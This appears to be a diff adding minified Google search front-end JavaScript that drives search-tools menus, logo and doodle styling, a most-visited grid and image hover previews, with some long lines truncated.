+_.lha=function(a){if(!a.wA){var b;for(b=a.constructor;b&&!b.HC;)b=b.Sa&&b.Sa.constructor;if(!b.HC.wO){var c=b.HC,d=b,e=function(a){arguments.callee.Sa.constructor.call(this,a);var b=this.rz.length;this.B=[];for(var c=0;c<b;++c)this.rz[c].E4||(this.B[c]=new this.rz[c](a))},f=d.HC;(0,_.ab)(e,f);for(var g=[];d;){if(f=d.HC){f.rz&&(0,_.Gb)(g,f.rz);var f=f.prototype,h;for(h in f)if(f.hasOwnProperty(h)&&(0,_.Ja)(f[h])&&f[h]!==d){for(var i=!!f[h].C4,n=h,p=f,k=g,q=i,v=[],r=0;r<k.length&&!(k[r].pr [...]
+_.aJ.prototype.XJ=function(a){if(this.B)for(var b=0;b<this.B.length;++b)if(this.B[b]instanceof a)return this.B[b];return _.l};
+(0,_.Mc)(_.Dc.I(),"sy77");(0,_.Qc)(_.Dc.I(),"sy77");
+}catch(e){_._DumpException(e)}
+try{
+_.Cia=function(){return(0,_.ea)()};_.Dia=function(a,b,c){this.target=a;this.type=b;this.Hx=c};_.rK=function(a,b,c){(0,_.rh)(a,b,c);return new _.Dia(a,b,c)};_.sK=function(a,b){var c="gt"+_.Eia++;_.tK.set(c,b);"_GTL_"in a||(a._GTL_=[]);a._GTL_.push(c);return c};_.Fia=function(a,b,c){this.type=a;this.D=b;this.target=c};_.uK=function(a,b,c,d){_.Fia.call(this,1,a,b);this.x=c;this.y=d};_.vK=function(){};_.wK=function(){(0,_.lha)(this)};_.Gia=function(){for(var a=0;a<_.xK.length;a++)_.xK[a].D() [...]
+_.tK=new _.ac;_.Eia=0;(0,_.ab)(_.uK,_.Fia);(0,_.ab)(_.vK,_.aJ);_.vK.prototype.D=(0,_.Cia)();_.vK.Sa||(0,_.ab)(_.vK,_.aJ);_.wK.HC=_.vK;(0,_.la)(_.wK);_.xK=[];
+_.zK=function(){};(0,_.ab)(_.zK,_.vK);(0,_.bJ)(_.zK,_.vK);_.zK.prototype.D=function(a,b){return(0,_.sK)(a,[(0,_.rK)(a,"click",function(c){b(new _.uK(c,a,c.screenX,c.screenY))})])};
+(0,_.Mc)(_.Dc.I(),"sy84");(0,_.Qc)(_.Dc.I(),"sy84");
+}catch(e){_._DumpException(e)}
+try{
+_.BK=function(a){var b=_.tK.get(a);if(b&&b.length){for(var c,d=_.l,e=0;e<b.length;e++)c=b[e],c instanceof _.Dia?((0,_.sh)(c.target,c.type,c.Hx),d=c.target):c();_.tK.remove(a);d&&"_GTL_"in d&&(0,_.zb)(d._GTL_,a)}};_.CK=function(a,b){return _.wK.I().wA.D(a,b)};_.DK=function(a,b,c,d){this.pz=a;this.nh=b;this.N=!!c;this.Bk=d?d:_.l;this.B=_.l;this.H=(0,_.CK)(this.pz,(0,_.Xa)(this.S,this));(0,_.uf)(93,(0,_.Xa)(this.D,this));_.xK.push(this)};
+_.EK=function(a,b){this.N=a;this.B={};this.X=b;this.D=0;(0,_.uf)(15,(0,_.Xa)(this.M,this));(0,_.rh)(window,"scroll",(0,_.Xa)(this.S,this))};
+_.FK=function(a){this.D=_.l;this.ra=this.H="";this.B=window.google.cp.L4;this.Ia=a.tlu||"logos/classicplus.png";this.ka=a.tlh||95;this.Ja=a.tlw||275;this.jb=["#ctDoodleNotifier {background-image:url('/ig/images/classic_plus_sprite.png');background-position: 0 0;height: 22px;left: ",this.Ja,"px;position: absolute;top: -",this.ka,"px;width: 22px;}"].join("");this.Rb=a.dnt;this.S=0;this.X=this.M="";this.N=0;this.Fa=window.google.cp.p?window.google.cp.p:246;(0,_.uf)(67,(0,_.Xa)(this.Xc,this) [...]
+(0,_.Xa)(this.Lf,this));(0,_.uf)(111,(0,_.Xa)(this.Je,this));this.ra=(0,_.Hia)(this,this.Ia,this.Ja,this.ka,"Google");this.H=window.document.getElementById("lga").innerHTML;this.B&&(this.B.h?this.H=this.B.l:(this.H=(0,_.Hia)(this,this.B.l,this.B.x,this.B.y,this.B.a,this.B.t),this.B.u&&(this.H=['<a href="',this.B.u,'">',this.H,"</a>"].join(""))));_.GK=this};
+_.Iia=function(a){if((0,_.Jia)()){var b=0;"bottom"==a.X?b=a.S-a.N:"center"==a.X&&(b=window.Math.round((a.S-a.N)/2));window.document.body.style.backgroundPositionY=b+"px"}};_.Hia=function(a,b,c,d,e,f){var g="";a=a.Fa-d;0<a&&(g="padding-top:"+a+"px;");return['<img height="',d,'" width="',c,'" style="',g,'border-width:0" onload="window.lol&&lol()" id="hplogo" src="',b,'" alt="',e,f?'" title="'+f:"",'"/>'].join("")};
+_.Kia=function(a){if((0,_.Jia)()){window.document.body.style.background=a.M;var b=!!a.M&&"rgba(255,255,255,1)"!=a.M;(0,_.Lia)(a,b);var c=window.document.getElementById("lga");if(c)if(b){if(c.innerHTML=a.ra,a.B&&a.B.d&&(c=window.document.getElementById("hplogo"),b=window.document.getElementById("lga"),!window.document.getElementById("ctDoodleNotifier")&&c&&b)){var d=c.cloneNode(_.j),e=(0,_.td)("a",{id:"ctDoodleNotifier",href:"/",style:"cursor:pointer",title:a.Rb}),d=(0,_.td)("span",{style [...]
+d,e);window.google.doodle&&window.google.doodle.cpDestroy&&window.google.doodle.cpDestroy();b.replaceChild(d,c);(0,_.Mia)(a)}}else{d=a.H;b=[];a=[];d=(0,_.HK)("noscript",d);d=(0,_.HK)("script",d,b);d=(0,_.HK)("style",d,a);c.innerHTML=d;for(d=0;e=b[d++];)e=(0,_.td)("script",{type:"text/javascript"},e),c.appendChild(e);for(b=0;d=a[b++];)d=(0,_.td)("style",{type:"text/css"},d),c.appendChild(d);window.google.doodle&&window.google.doodle.cpInit&&window.google.doodle.cpInit()}}};
+_.Lia=function(a,b){b?a.D||(a.D=(0,_.td)("style",{id:"ctStyle",type:"text/css"},"#body a,#footer a,#footer span,#prm,#als,#gbi4t,.sblc a{color:#fff !important;text-shadow:black 0 1px 3px !important}#sbl,#fctr,.fade{background:transparent}#ghead,#gog{background:#fff}.gbh{border:none}"+(a.B&&a.B.d?a.jb:"")),window.document.body.appendChild(a.D)):a.D&&((0,_.Fd)(a.D),a.D=_.l)};
+_.Mia=function(a){var b=window.document.getElementById("ctDoodleNotifier");if(b){var c=0,c=b.style.backgroundPosition?(0,window.parseInt)(b.style.backgroundPosition.split(" ")[1],10):0,c=-2784<c?c-32+"px":"0";window.setTimeout(function(){(0,_.Mia)(a)},40);b.style.backgroundPosition=["0 ",c].join("")}};
+_.Jia=function(){var a=window.document.getElementById("hplogo")!=_.l,b=window.document.getElementById("lga")!=_.l,c=0<window.document.getElementsByTagName("CENTER").length;return window.document.body!=_.l&&a&&b&&c};_.HK=function(a,b,c){var d=(0,_.td)("div");d.innerHTML=b;a=d.getElementsByTagName(a);b=0;for(var e;e=a[b++];)e=e.parentNode.removeChild(e),c&&c.push(e.innerHTML);return d.innerHTML};
+_.IK=function(a,b,c){this.pz=a;this.nh=b;this.B=(0,_.bf)("#hdtb_rst");c&&(this.Bk=c);this.Hu=(0,_.bf)("#appbar");this.D=[];a=(0,_.af)("div.hdtb-mn-hd",this.nh);b=(0,_.af)("ul.hdtbU",this.nh);c=a.length;for(var d=0;d<c;d++){var e=a[d],f=b[d];e&&f&&this.D.push(new _.DK(e,f,_.m,_.Nia))}(0,_.CK)(this.pz,(0,_.Xa)(this.M,this));this.B&&(0,_.CK)(this.B,(0,_.Xa)(this.H,this));(0,_.uf)(102,(0,_.Xa)(this.oI,this));this.oI();(0,_.JK)(this,(0,_.KK)(this))};
+_.Nia=function(a,b){var c=window.document.body||window.document.documentElement,d=(0,_.Ge)(c),e=d?"right":"left",f={x:(0,_.we)(a),y:(new _.Vc(a.offsetLeft,a.offsetTop)).y},g=(0,_.we)((0,_.jd)("hdtb-mn-cont"))-(0,_.we)((0,_.T)("hdtbMenus")),h=f.x-15-g,i=(0,_.Ae)(a);d&&(h=(0,_.Ae)(c).width-f.x-i.width-15+g);c=i.height+f.y+"px";i=i.width+30+30+"px";b.style[e]=h+"px";(0,_.ee)(b,{top:c,"min-width":i})};_.KK=function(a){return"hdtb-td-o"==a.nh.className};_.JK=function(a,b){(0,_.Ef)(a.pz,"hdtb- [...]
+_.Oia=function(a,b){this.RG=a;this.S=a.getElementsByTagName("input")[0];this.M="";this.N=_.m;this.D=[];this.X=(0,_.Xa)(this.LZ,this);this.ka=(0,_.Xa)(this.NZ,this);this.B="fkbxfcs";this.H="anmfb";(0,_.Kg)("esp",{fkbxfcs:(0,_.Xa)(this.VQ,this)});this.D.push((0,_.eg)(window.document.body,"click",this.PQ,_.m,this));this.D.push((0,_.eg)(window.document.body,"focus",this.PQ,_.j,this));this.D.push((0,_.eg)(this.S,"paste",this.VQ,_.m,this));(0,_.uf)(106,this.X);(0,_.uf)(109,this.ka);b&&this.CI( [...]
+"webkitTransition","-webkit-transform 100ms linear, width 200ms ease")},this),0);_.LK.push(this)};_.Pia=function(a){(0,_.If)(window.document.body,a.H)||((0,_.lg)(a.RG,"webkitTransitionEnd",(0,_.Xa)(a.EZ,a)),(0,_.Ff)(window.document.body,a.H))};
+_.MK=function(a){this.Wh=a;this.D=(0,_.wd)("div");this.B=[];this.H=(0,_.Xa)(this.M,this);this.N=0;this.X=122;this.ka="mv-cnts";this.S="mv-cell";this.ra="mv-cell-hide";this.Ja="mv-hide";this.Fa=6;this.Ia=2;this.Rb=531;this.jb=188;this.D.id=this.ka;this.Wh.appendChild(this.D);for(a=0;a<this.Fa;++a){var b=(0,_.wd)("div");(0,_.Ff)(b,this.S);this.D.appendChild(b);this.B.push(b)}(0,_.rh)(window,"resize",this.H);this.M();window.setTimeout((0,_.Xa)(function(){(0,_.ee)(this.Wh,"webkitTransition", [...]
+this),0);_.NK.push(this)};_.Qia=function(a,b){var c=window.document.body||window.document.documentElement,d=(0,_.Ge)(c),e=d?"right":"left",f=(0,_.we)(a);d&&(f=(0,_.Ae)(c).width-f-(0,_.Ae)(a).width);b.style[e]=f+"px"};_.Ria=function(){!_.OK&&_.Sia&&(0,_.Tia)()};
+_.Tia=function(){var a=(0,_.id)("hdtb-mn-cont")[0];_.OK=new _.KH(a,_.m,_.j,_.j,1,_.j);_.OK.tG=_.j;_.OK.Rb=_.j;_.OK.lC();var a=(0,_.id)("hdtb-msel",a)[0],b=0;a&&(b=window.document.body||window.document.documentElement,b=(0,_.Ge)(b)?window.Math.min((0,_.we)(a)-(0,_.we)(b),_.OK.D.x):window.Math.max(-(0,_.we)(a),_.OK.H.x));_.OK.UB(b,0);(0,_.rh)(window.document,"orientationChange",_.OK.lC)};
+_.DK.prototype.D=function(){(0,_.Gf)(this.nh,"hdtb-mn-o");(0,_.Ff)(this.nh,"hdtb-mn-c");this.B&&((0,_.BK)(this.B),this.B=_.l)};_.DK.prototype.S=function(a){var b=(0,_.If)(this.nh,"hdtb-mn-c");this.N&&(0,_.Rh)(this.pz,[this.pz],[b]);b?((0,_.xf)(93),(0,_.Nh)(a.D||a),this.Bk&&this.Bk(this.pz,this.nh),(0,_.Gf)(this.nh,"hdtb-mn-c"),(0,_.Ff)(this.nh,"hdtb-mn-o"),this.B=(0,_.CK)(window.document.body,(0,_.Xa)(this.M,this))):this.D()};_.DK.prototype.M=function(a){(0,_.df)((0,_.Mh)(a.D||a),this.nh [...]
+_.EK.prototype.S=function(){var a=window.scrollY;a>this.D&&(this.M(),(0,_.xf)(113));this.D=a};
+_.EK.prototype.M=function(){var a=_.Ri;if(!a||!a.Ds())return _.j;var b=(0,_.T)("main"),c=(0,_.T)("rcnt"),d=(0,_.T)("hdtbMenus");if(!b||!c||!d)return _.j;var e=a.As()*this.N;(0,_.ee)(c,{webkitTransition:"padding "+e+"ms ease-in-out"});(0,_.Gf)(c,"rcnt-pt");this.B[c]=(0,_.Xa)(this.H,this,c);(0,_.rh)(c,"webkitTransitionEnd",this.B[c]);(0,_.ee)(b,{position:"absolute",top:(0,_.xe)(b)+"px"});var f=this.X;window.setTimeout(function(){(0,_.ee)(b,{webkitTransition:"top "+e+"ms ease-in-out",top:f+ [...]
+0);this.B[b]=(0,_.Xa)(this.H,this,b);(0,_.rh)(b,"webkitTransitionEnd",this.B[b]);return _.j};_.EK.prototype.H=function(a){(0,_.ee)(a,"webkitTransition","all 0 ease 0");(0,_.ee)(a,"position","");(0,_.ee)(a,"top","");(0,_.sh)(a,"webkitTransitionEnd",this.B[a]);delete this.B[a];0==window.Object.keys(this.B).length&&(0,_.xf)(101)};
+_.GK=_.l;_.FK.prototype.Xc=function(){window.document.body.style.background="";(0,_.Lia)(this,_.m);return _.j};_.FK.prototype.Je=function(a,b,c){this.M=a;this.X=b||"";this.N=c||0;(0,_.Kia)(this)};_.FK.prototype.Lf=function(a){this.S=a;(0,_.Iia)(this)};
+_.IK.prototype.M=function(){var a=!(0,_.KK)(this);(0,_.Rh)(this.pz,[this.nh],[a]);if(a)this.Bk&&this.Bk(),(0,_.JK)(this,_.j),(0,_.Gf)(this.nh,"hdtb-td-c"),(0,_.Gf)(this.nh,"hdtb-td-h"),window.setTimeout((0,_.Xa)(function(){(0,_.Ff)(this.nh,"hdtb-td-o");this.Hu&&(0,_.Ff)(this.Hu,"hdtb-ab-o");this.oI()},this),0);else{(0,_.JK)(this,_.m);for(var a=this.D.length,b=0;b<a;++b)this.D[b].D();window.setTimeout((0,_.Xa)(function(){(0,_.Gf)(this.nh,"hdtb-td-o");(0,_.Ff)(this.nh,"hdtb-td-c");this.Hu& [...]
+"hdtb-ab-o");this.oI()},this),0)}(0,_.Gia)()};_.IK.prototype.H=function(){(0,_.yf)(this.B.getAttribute("data-url"))};_.IK.prototype.oI=function(){var a=(0,_.bf)("#botabar"),b=(0,_.bf)("#extabar"),c;if(c=a)if(c=b)c=(0,_.bf)("#botabar"),c=window.extab&&(0,_.Ee)(c);c&&(c=(0,_.Ae)(a).height,a.style.marginTop=(0,_.KK)(this)?this.nh.offsetHeight+"px":0,b.style.height=(0,_.KK)(this)?c+this.nh.offsetHeight+"px":c+"px");this.Hu&&(0,_.Ef)(this.Hu,"hdtb-ab-o",(0,_.KK)(this))};
+_.LK=[];_.F=_.Oia.prototype;_.F.dispose=function(){this.N=_.j;(0,_.Gf)(window.document.body,this.H);(0,_.Gf)(window.document.body,this.B);for(var a=0;a<this.D.length;a++)(0,_.pg)(this.D[a]);(0,_.wf)(106,this.X);(0,_.wf)(109,this.ka)};_.F.VQ=function(){window.setTimeout((0,_.Xa)(this.CI,this,_.j),0)};_.F.PQ=function(a){this.CI((0,_.Od)(this.RG,a.target))};
+_.F.CI=function(a,b){if(a!=(0,_.If)(window.document.body,this.B)||this.S.value!=this.M)(0,_.Ef)(window.document.body,this.B,a),this.M=this.S.value,b||(0,_.xf)(105,[a,this.M]),a&&this.M&&(0,_.Pia)(this)};_.F.LZ=function(){if(this.N||!(0,_.If)(window.document.body,this.B))return _.j;(0,_.Pia)(this);return _.m};_.F.EZ=function(){this.N||(this.N=_.j,(0,_.Fd)(this.RG),window.google.log("fkbx",""),(0,_.xf)(107),(0,_.Gf)(window.document.body,this.H),(0,_.Gf)(window.document.body,this.B))}; _.F. [...]
+_.MK.prototype.M=function(){(0,_.Ef)(this.Wh,this.Ja,window.document.documentElement.clientHeight<this.Rb);var a=window.Math.floor((window.document.documentElement.clientWidth-this.jb)/this.X),a=window.Math.max(this.Ia,a);if(a!=this.N){this.N=a;for(var b=0,c=this.B.length;b<c;++b)(0,_.Ef)(this.B[b],this.ra,b>=a)}};_.NK=[];_.MK.prototype.dispose=function(){(0,_.sh)(window,"resize",this.H)};
+_.Uia=_.m;
+(0,_.ah)("esp",{init:function(a){var b=(0,_.T)("hdtb_more"),c=(0,_.T)("hdtb_more_mn");b&&c&&new _.DK(b,c,_.j,_.Qia);b=(0,_.T)("hdtb_tls");c=(0,_.T)("hdtbMenus");b&&c&&new _.IK(b,c,_.Ria);(_.Sia=a.t)&&(0,_.If)(c,"hdtb-td-o")&&(0,_.Tia)();if(a.esp){if(!window.chrome||!window.chrome.searchBox||!window.chrome.searchBox.setRestrictedValue)b=new _.Lu((0,_.Bf)()),b.Ck("nord")||((0,_.Yu)(b,"espv"),(0,_.Wu)(b,"rct","j"),(0,_.yf)(b.toString()));c=(0,_.T)("hdtb_msb");b=(0,_.T)("gbqfbw");c&&b&&(c=(0 [...]
+(704<c?c-704:0)+"px");(b=(0,_.T)("fkbx"))&&new _.Oia(b,a.ffb);(b=(0,_.T)("most-visited"))&&new _.MK(b);_.Uia||(new _.EK(a.slw,a.tnh),a.tc&&new _.FK(a.tc));_.GK&&((0,_.Kia)(_.GK),(0,_.Iia)(_.GK));(0,_.uf)(9,function(){window.scrollTo(0,0)})}if(b=(0,_.T)("hdtbSum")){a=4;b=b.childNodes;for(c=0;c<b.length;++c)a+=b[c].clientWidth;b=(0,_.T)("top_nav");c=(0,_.ke)(b,"minWidth")||(0,_.le)(b,"minWidth");(0,window.isFinite)(c)&&(c=(0,window.String)(c));c=(0,_.ua)(c)?/^\s*-?0x/i.test(c)?(0,window.pa [...]
+16):(0,window.parseInt)(c,10):window.NaN;if(!c||a>c)b.style.minWidth=a+"px"}_.Uia=_.j},dispose:function(){for(var a=0;a<_.xK.length;a++)_.xK[a].dispose();_.xK=[];for(var a=0,b;b=_.LK[a++];)b.dispose();_.LK=[];for(a=0;b=_.NK[a++];)b.dispose();_.NK=[]}});
+
+(0,_.Mc)(_.Dc.I(),"esp");(0,_.Qc)(_.Dc.I(),"esp");
+}catch(e){_._DumpException(e)}
+try{
+_.Jo=function(a,b){a instanceof window.Array?this.bB(a):b?this.bB([(0,_.we)(a),(0,_.xe)(a),a.offsetWidth,a.offsetHeight]):this.bB([a.offsetLeft,a.offsetTop,a.offsetWidth,a.offsetHeight])};_.Ko=function(a,b){a.left=b;a.right=a.left+a.width};_.Lo=function(a,b,c){return window.Math.min(b-a.left,a.right-b,c-a.top,a.bottom-c)};_.Mo=function(){this.D=this.B=this.y=this.x=this.t=window.NaN};_.No=function(a,b){return(0,window.isNaN)(a)?b:0.6*b+0.4*a};
+_.Oo=function(){this.B=_.l;this.M={};this.D=0;this.H=[];this.X=(0,_.Xa)(this.Ja,this);(0,_.rh)(window.document,"mousemove",this.X)};_.Po=function(){return(new window.Date).getTime()};_.Qo=function(a,b){a.ra=b;a.S=_.j;a.N=0;a.ka=0.25*window.Math.min(b.width,b.height);a.D||(a.B=new _.Mo,a.D=window.setTimeout(function(){(0,_.Ro)(a)},30))};
+_.Ro=function(a){var b=(0,_.Po)(),c=a.M.x,d=a.M.y,e=b-a.B.t;a.B.update(b,c,d,(c-a.B.x)/e,(d-a.B.y)/e);if(b=a.S)a:{if(e)if(b=a.B,c=b.x,b.B&&(c+=3E3*b.B),d=b.y,b.D&&(d+=3E3*b.D),b={x:c,y:d},b=(0,_.Lo)(a.ra,b.x,b.y),c=(0,_.Lo)(a.ra,a.B.x,a.B.y),0>b||0>c)a.N=0;else{c<a.ka&&(e*=window.Math.max(c/a.ka,0.25));a.N+=e;e=_.m;for(b=0;c=a.H[b++];)c.time&&a.N>=c.time&&(c.cK(),c.time=0),c.time&&(e=_.j);if(!e){b=_.j;break a}}b=_.m}b&&a.clear();a.D&&(a.D=window.setTimeout(function(){(0,_.Ro)(a)},30))}; [...]
+_.F=_.Jo.prototype;_.F.bB=function(a){this.left=a[0];this.top=a[1];this.width=a[2];this.height=a[3];this.right=this.left+this.width;this.bottom=this.top+this.height};_.F.sC=function(a){this.top=a;this.bottom=this.top+this.height};_.F.rC=function(a){this.height=a;this.bottom=this.top+this.height};_.F.clone=function(){return new _.Jo([this.left,this.top,this.width,this.height])};_.F.contains=function(a,b){return 0<=(0,_.Lo)(this,a,b)};
+_.F.KE=function(){var a=window.pageYOffset||window.document.body.scrollTop||window.document.documentElement.scrollTop||0;(0,_.Ko)(this,this.left-(window.pageXOffset||window.document.body.scrollLeft||window.document.documentElement.scrollLeft||0));this.sC(this.top-a)};(0,_.ha)("google.hover.hr",_.Jo,_.ba);(0,_.ha)("google.hover.hr.prototype.adjustByScrollOffset",_.Jo.prototype.KE,_.ba);(0,_.ha)("google.hover.hr.prototype.left",_.Jo.prototype.left,_.ba); (0,_.ha)("google.hover.hr.prototype [...]
+_.Mo.prototype.update=function(a,b,c,d,e){this.t=(0,_.No)(this.t,a);this.x=(0,_.No)(this.x,b);this.y=(0,_.No)(this.y,c);this.B=(0,_.No)(this.B,d);this.D=(0,_.No)(this.D,e)};_.Oo.prototype.dispose=function(){(0,_.sh)(window.document,"mousemove",this.X)};_.Oo.prototype.clear=function(){this.S&&(this.D&&(window.clearTimeout(this.D),this.D=0),this.S=_.m,this.H=[])};_.Oo.prototype.Ja=function(a){a||(a=window.event);this.M.x=a.clientX;this.M.y=a.clientY};
+
+(0,_.Mc)(_.Dc.I(),"sy26");(0,_.Qc)(_.Dc.I(),"sy26");
+}catch(e){_._DumpException(e)}
+try{
+_.So=function(a,b){b.setAttribute("style",["width:",a.width,"px;height:",a.height,"px"].join(""))};_.To=function(a,b,c){b.setAttribute("style",["left:",a.left,"px;top:",a.top,"px;width:",a.width,"px;",c?"height:"+a.height+"px":""].join(""))};_.Uo=function(a,b){(0,_.Ko)(b,window.Math.round((a.width-b.width)/2)+a.left);b.sC(window.Math.round((a.height-b.height)/2)+a.top)};
+_.Xo=function(a,b){(0,_.Ko)(a,window.Math.max(a.left,b.left));var c=window.Math.min(a.right,b.right);a.right=c;a.left=a.right-a.width;a.sC(window.Math.max(a.top,b.top));c=window.Math.min(a.bottom,b.bottom);a.bottom=c;a.top=a.bottom-a.height};_.Yo=function(a,b,c){if(_.Zo[a])return _.m;var d=(0,_.id)(a);if(!d||0==d.length)return _.m;_.$o.push(a);_.Zo[a]={render:b,log:c,animate:_.l};(0,_.ap)(a,"mouseover",_.bp);_.Pe.He&&((0,_.ap)(a,"click",_.cp),(0,_.ap)(a,"mousedown",_.dp));return _.j};
+_.bp=function(a){if(!_.ep){a||(a=window.event);a=a.target||a.srcElement;var b=(0,_.gp)(a,_.$o);if(b&&(_.hp=b.className,!a||!("A"!=a.tagName&&"IMG"!=a.tagName)))if(a=(0,_.gp)(a,"uh_r")){window.clearTimeout(_.ip);var c=(0,_.jp)(a);c.docid!=_.kp.targetDocId&&((0,_.lp)(),_.ip=window.setTimeout(function(){(0,_.mp)(c)},0))}}};_.gp=function(a,b){function c(a){return(0,_.If)(a,b)}function d(a){return(0,_.wc)(b,function(b){return(0,_.If)(a,b)})}var e=(0,_.oa)(b)?d:c;return(0,_.Yd)(a,e,_.j,7)};
+_.np=function(a,b){var c=(0,_.T)(a);return c?(0,_.gp)(c,b):_.l};
+_.mp=function(a){var b=a.docid;(0,_.np)(b,"uh_rl");_.kp.resultInfo&&(0,_.lp)();var c=(0,_.T)(b),c=c?c.getElementsByTagName("img"):[],d=0<c.length?c[0]:_.l;c&&"ri_of"==d.className||(_.kp.resultInfo=a,_.kp.targetDocId=b,_.kp.startTime=(0,_.Po)(),a=_.kp.resultInfo.rect.clone(),a.KE(),(0,_.To)(a,_.op,_.j),_.op.className="v",_.pp=_.Pe.He?new _.Jo([a.left-5,a.top-5,a.width+10,a.height+10]):new _.Jo(_.op),_.op.onmouseout=function(){(0,_.lp)()},_.qp=_.j,(0,_.rh)(window.document,"mousemove",_.rp) [...]
+cK:function(){var a=_.Zo[_.hp];a&&a.render(_.kp)}}),_.sp.H.push({time:130,cK:function(){if(_.kp.element&&_.kp.image||_.Zo[_.hp].render(_.kp)){(0,_.rh)(_.kp.element,"mousedown",_.tp);_.kp.element.style.overflow="hidden";var a=+_.kp.image.getAttribute("data-width"),b=+_.kp.image.getAttribute("data-height"),c=_.kp.image.style;c.width=c.height=_.kp.element.style.height="";_.kp.element.className="uh_hp";var d=window.Math.max(a,_.up),c=_.kp.element.offsetHeight+1,i=_.kp.resultInfo.PY,n=new _.J [...]
+i.height]),d=new _.Jo([0,0,d,b]),a=new _.Jo([0,0,a,b]);(0,_.Uo)(i,n);(0,_.Uo)(i,d);d.rC(c);n.KE();d.KE();(0,_.Xo)(n,_.vp);(0,_.Xo)(d,_.vp);_.kp.rect=_.Pe.He?new _.Jo([d.left-10,d.top-10,d.width+20,d.height+20]):d.clone();(0,_.wp)();(0,_.xp)(n,d,a,(0,_.Po)());_.kp.element.onmouseout=function(a){a||(a=window.event);var b=a.target||a.srcElement;if(b==this){for(a=a.relatedTarget?a.relatedTarget:a.toElement;a&&a!=b&&"BODY"!=a.nodeName;)a=a.parentNode;a!=b&&(0,_.lp)()}};_.Pe.He||(a=(0,_.np)(_. [...]
+"uh_r"),b=(0,_.np)(_.kp.targetDocId,"ires"),a&&b&&((a=a.nextSibling)?b.insertBefore(_.kp.element,a):b.appendChild(_.kp.element)));_.kp.element.className="uh_hv"}}}),(0,_.Qo)(_.sp,_.pp))};
+_.jp=function(a){var b={},c=a.getElementsByTagName("a")[0];a=new _.Jo(a,_.j);a.sC(a.top+window.Math.max(c.offsetTop,0));(0,_.Ko)(a,a.left+window.Math.max(c.offsetLeft,0));var d=window.Math.min(a.width,c.offsetWidth);a.width=d;a.right=a.left+a.width;a.rC(window.Math.min(a.height,c.offsetHeight));b.rect=a;b.PY=new _.Jo(c,_.j);b.docid=c.id;return b};
+_.yp=function(){(0,_.T)("uh_h")&&(_.vp=new _.Jo([12,12,window.document.documentElement.clientWidth-12-16,window.document.documentElement.clientHeight-12-12]))};_.Oba=function(){var a=(0,_.$d)(window.document);_.zp!=a?_.zp=a:(0,_.lp)()};_.Ap=function(a){a||(a=window.event);(0,_.Bp)(a);_.Cp.target?(0,_.Dp)():(0,_.lp)();return _.j};_.Ep=function(a){_.sp.clear();a.button!=(_.Pe.He?1:0)&&(0,_.Bp)(a)};_.ap=function(a,b,c){if(a=(0,_.id)(a))for(var d=0;d<a.length;++d)(0,_.rh)(a[d],b,c)};
+_.cp=function(a){a||(a=window.event);(0,_.Fp)(a)&&(_.kp.targetDocId||(0,_.Gp)(a),(0,_.Ap)(a))};_.dp=function(a){a||(a=window.event);(0,_.Fp)(a)&&(_.kp.targetDocId||(0,_.Gp)(a),(0,_.Ep)(a))};_.Fp=function(a){a=a.target||a.srcElement;return!(!a||!(0,_.gp)(a,"uh_r"))&&"IMG"==a.tagName};_.Bp=function(){var a=(0,_.np)(_.kp.targetDocId,"uh_rl");if(a){if(_.kp.startTime!=_.l){var b=(0,_.Po)()-_.kp.startTime;(0,_.Hp)(a,"dur",b);_.kp.startTime=_.l}_.Cp.href=a.href}};
+_.Hp=function(a,b,c){var d=a.href.match(/^(.*)\?(.*?)(#.*)?$/);if(d){for(var e=d[2].split("&"),f=b+"=",g=d[3]||"",h=0;h<e.length;h++)if(0==e[h].indexOf(f)){e[h]=b+"="+c;a.href=d[1]+"?"+e.join("&")+g;return}a.href=d[1]+"?"+d[2]+"&"+b+"="+c+g}else d=a.href.match(/^([^#]*)(#.*)?$/),g=d[2]||"",a.href=d[1]+"?"+b+"="+c+g};
+_.tp=function(){if(!_.kp.element)return _.j;var a=-1;_.kp.startTime!=_.l&&(a=(0,_.Po)()-_.kp.startTime);for(var b=_.kp.element.getElementsByTagName("a"),c=0,d;d=b[c];c++)_.kp.startTime!=_.l&&(0,_.Hp)(d,"dur",a);_.kp.startTime=_.l;return _.j};_.rp=function(a){a||(a=window.event);(_.qp?_.pp:_.kp.rect).contains(a.clientX,a.clientY)||(0,_.lp)()};
+_.lp=function(){(0,_.sh)(window.document,"mousemove",_.rp);window.clearTimeout(_.ip);window.clearTimeout(_.Ip);_.sp&&_.sp.clear();_.kp.element&&("uh_hv"==_.kp.element.className&&_.kp.startTime!=_.l&&_.Zo[_.hp].log(_.kp),(0,_.sh)(_.kp.element,"mousedown",_.tp),_.kp.element.onmouseout=_.l,_.kp.element.className="uh_h",_.kp.element=_.l);(0,_.wp)();_.pp=_.l;_.kp.targetDocId="";_.kp.startTime=_.l;_.kp.resultInfo=_.l;_.kp.image=_.l};_.wp=function(){_.op&&(_.op.onmouseout=_.l,_.op.className="") [...]
+_.xp=function(a,b,c,d){var e;if(_.Pe.He)e=1;else{e=((0,_.Po)()-d)/100;var f=+_.kp.image.getAttribute("data-width"),g=+_.kp.image.getAttribute("data-height"),h=(0,_.T)(_.kp.targetDocId);h&&(f==h.width&&g==h.height)&&(e=1)}1>e?(e=0.5>e?2*e*e:1-2*(e-1)*(e-1),(0,_.To)((0,_.Jp)(a,b,e),_.kp.element,_.j),(0,_.So)((0,_.Jp)(a,c,e),_.kp.image),_.Ip=window.setTimeout(function(){(0,_.xp)(a,b,c,d)},5)):((0,_.To)(b,_.kp.element,_.m),(0,_.So)(c,_.kp.image),_.Pe.He||(_.kp.rect=new _.Jo(_.kp.element)),_. [...]
+(0,_.Po)(),_.kp.element.style.overflow="")};_.Jp=function(a,b,c){return new _.Jo([+(window.Math.round(b.left-a.left)*c+a.left).toFixed(0),+(window.Math.round(b.top-a.top)*c+a.top).toFixed(0),+(window.Math.round(b.width-a.width)*c+a.width).toFixed(0),+(window.Math.round(b.height-a.height)*c+a.height).toFixed(0)])};_.Kp=function(){(0,_.T)("uh_h")&&(0,_.Dp)()};_.Lp=function(a){27==a.which&&(0,_.lp)()};_.Dp=function(){_.ep=_.Mp.s=_.j;(0,_.lp)();(0,_.rh)(window.document,"mousemove",_.Np)};
+_.Np=function(a){(0,_.sh)(window.document,"mousemove",_.Np);a:{_.Mp.s=_.m;for(var b in _.Mp)if(_.Mp[b])break a;_.ep=_.m}_.ep||(a||(a=window.event),(0,_.Gp)(a))};_.Gp=function(a){var b=a.target||a.srcElement;b===_.l||(b=(0,_.gp)(b,_.$o));b&&(_.hp=b.className,b=a.target||a.srcElement,b===_.l||(b=(0,_.gp)(b,"uh_r")),b&&(0,_.mp)((0,_.jp)(b)))};
